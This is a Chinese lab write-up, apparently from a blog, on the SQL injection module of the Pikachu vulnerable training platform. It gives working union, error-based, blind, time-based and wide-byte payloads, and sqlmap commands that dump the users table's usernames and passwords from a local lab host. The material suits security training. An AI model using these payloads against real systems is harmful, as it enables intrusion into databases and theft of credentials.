zoukankan      html  css  js  c++  java
  • Pikahu-SQL注入模块和sqlmap经典用法

    sql注入漏洞 危害是最大得

    sql注入类型:  数字型  user_id=$id

           字符型 user_id='$id'

           搜索型  text like '%{$_GET['search']}'  "

    select  字段1  from table  where  id=1  会显示表中第一行信息

    select  字段1  from table  where  id=1 or 1=1  会显示表中所有信息

    1.数字型注入 post

    抓包如下 

     

    查看代码,发现代码对id没有做任何过滤

    2.字符型注入 get

    猜测  SELECT 字段1,字段2,from table  where username= ' xxx'

    构造 SELECT 字段1,字段2,from table  where username= ' xxx     or 1=1  #

     

     3.搜索型注入

     select  *  from table  where  username  like  '%xxx%

    select  *  from table  where  username  like  '%xxxx% '  or 1=1# % '

    输入   k% '  or 1=1#

     

     

    4.  xxx型注入

    查看代码

    构造闭合

    原先 where  username = ('lucy')

    输入                           (' lucy') or 1=1 # ')

    ps:

    在实际操作中 需要根据自己的经验做实际操作  做测试

    以字符型注入为例  

    1.可能单引号闭合  可能双引号闭合 

    举例  aaa' or  1=1 #   或者  aaa“ or  1=1 #

    通过检测 发现单引号闭合 是正确的

    2.还可以根据返回的信息  判断数据的输入有没有参与到后台的数据库sql里去

    举例lucy' and 1=1 #  返回正确                     lucy' and 1=2 #  返回 错误     则证明是单引号闭合

            

    我们通过观察结果 发现payload 参与了后台数据库语句 所以 语句是正确的

    3.输入‘ 进行测试

     

     

     

     通过报错 发现‘ 进行了sql语句拼接 只是报错了    通过报错 我们发现了注入漏洞

     

    3种注释符号  :       #  、  -- (--空格)、/*  */  多行注释

     

     

    union 语句后面的查询列数 要和主句查询语句列数一致

    select database();  查看当前数据库

    select user();  查看当前用户

    select  version();  查看当前mysql版本信息

    使用union 首先要猜测列数  使用order by

    order by 2  根据第二列进行排序  order by 3  根据第三列进行排序

      order by 3

    order  by  2

    即可判断  有俩列

    xx'  union select 1,2 #  即可查询 显示位置

    xx' union select user() ,database() #

    输入desc hotel;查看列和数据类型。

     

    数据库知识
    1.    查库:
    Show databases;
    select schema_name from information_schema.schemata
    2.    查表:
    Show databases;  use security;  show tables;
    select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
    3.    查列:
    select column_name from information_schema.columns where table_name='users'
    4.    查字段:
    select username,password from security.users

     

    获取表名 

    获取表名 payload

    kobe'  union select  table_schema, table_name from information_schema.tables where table_schema='pikachu'  #

     

    获取字段名

    select id,email from member where username= 'kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'

     test   payload

    kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'#

     

     获取字段数,

    select id,email from member where username= 'kobe' union select username, password from  users;

    paylaod

    kobe' union select username, password from  users  #

    md5加密   https://www.cmd5.com/

     e10adc3949ba59abbe56e057f20f883e

    5.  报错注入

     

     updatexml()   https://blog.csdn.net/qq_37873738/article/details/88042610

    构造注入语句:select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

    updatexml(1,version(),0);    第一个位置 XML文档对象的名称,第二个位置是指定路径, 第三个位置是新得

    kobe'  and  updatexml(1,version(),0) #     显示不全面

     进行改造   kobe'  and  updatexml(1,concat('~',(select database())),0) #  

    kobe'  and  updatexml(1,concat('~',(select version())),0) #

     报错只能一次显示一行

    kobe'  and  updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu')),0) #  

     kobe'  and  updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu'  limit 0,1)),0) #  

    使用 limit 0,1  进行逐行显示

    获取完表明之后 同样方式获取列名

     kobe'  and  updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users'  limit 0,1)),0) #  

     

      kobe'  and  updatexml(1,concat('~',(select username from users  limit 0,1)),0) #  

    kobe'  and  updatexml(1,concat('~',(select password from users  limit 0,1)),0) #

     

    6.1    insert注入

    注册  姓名填 ‘  出现一下 错误  说明’  参与了后台sql语句拼接 导致了sql语句的错误

    正常插入insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong',11111111,1,2,3,4);

    insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong'  or   updatexml(1,concat('~',(select version())),0)  or  '  ' ,11111111,1,2,3,4);

     

    构造payload     xiaohong'  or   updatexml(1,concat('~',(select version())),0)  or  '

    6.2  update 注入

    update  就是登录上去 去修改个人信息  利用insert 进行修改

    构造payload     xiaohong'  or   updatexml(1,concat('~',(select version())),0)  or  '

     7.delete注入

    查看源码  对获取到id 没做处理  直接拼接 进行删除

     burp suite 抓包  发送到repeart

    1  or   updatexml(1,concat('~',(select version())),0)

     

    因为传得是url  需要对关键字进行url编码

    编码之后发现空格都变成了加号 点提交

    id=1+or+updatexml(1,concat(0x7e,(select+database())),1) HTTP/1.1

     

     

     

    基于extractvalue()

    kobe'  and extractvalue (0,concat(0x7e,version()))#

     floor()  取整   向下取整

     

     kobe'  and  (select 2    from (select count(*),  concat(version(),  floor(rand(0)*2))x  from information_schema.tables group by x)   a)  # 

     

     kobe'  and  (select 2    from (select count(*),  concat(database(),  floor(rand(0)*2))x  from information_schema.tables group by x)   a)  # 

    8.http头注入

     admin  123456  登录  

     

     一般返回信息有user agent数据得 都会存在http注入

    burp suite抓包 进行测试

     

    firefox'  or  updatexml(1,concat(0x7e,databse()),0)   or '

     修改  cookie值

     

    盲注

    布尔盲注

     lucy' or 1=1# 

     lucy' and 1=1 #

     

    payload   kobe'  and  ascii(substr(database(),1,1))>1   #

    猜测正确 显示

    猜测错误 显示用户不存在

     kobe'  and  ascii(substr(database(),1,1))>1   #    替换掉

     时间盲注

     

     基于时间得延迟 

    kobe'  and if ((substr(database(),1,1))='p',sleep(5),null)#

    宽字节注入:

    当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

    GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

    因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

    kobe %df‘ or 1=1#

     

     

     

     

     sqlmap

    sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

     

     得到数据库:

    sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"   --current-db

     得到表名

    sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"   -D pikachu --tables

     

     得到字段名

    sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

     拿到数据

    sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -Tables users -C username,password --dump

     

    拿到数据名和密码

  • 相关阅读:
    UGUI 学习
    跳一跳
    推箱子_1
    坦克大战
    建筑保温(复习) 灭火救援设施(一)
    建筑平面布置与防火防烟分区(一)
    第五篇消防安全评估
    第三篇第三章自动喷水灭火系统(一)
    案例35:室内消火栓系统检查与维护保养案例分析(二)
    YAML语法
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12342700.html
Copyright © 2011-2022 走看看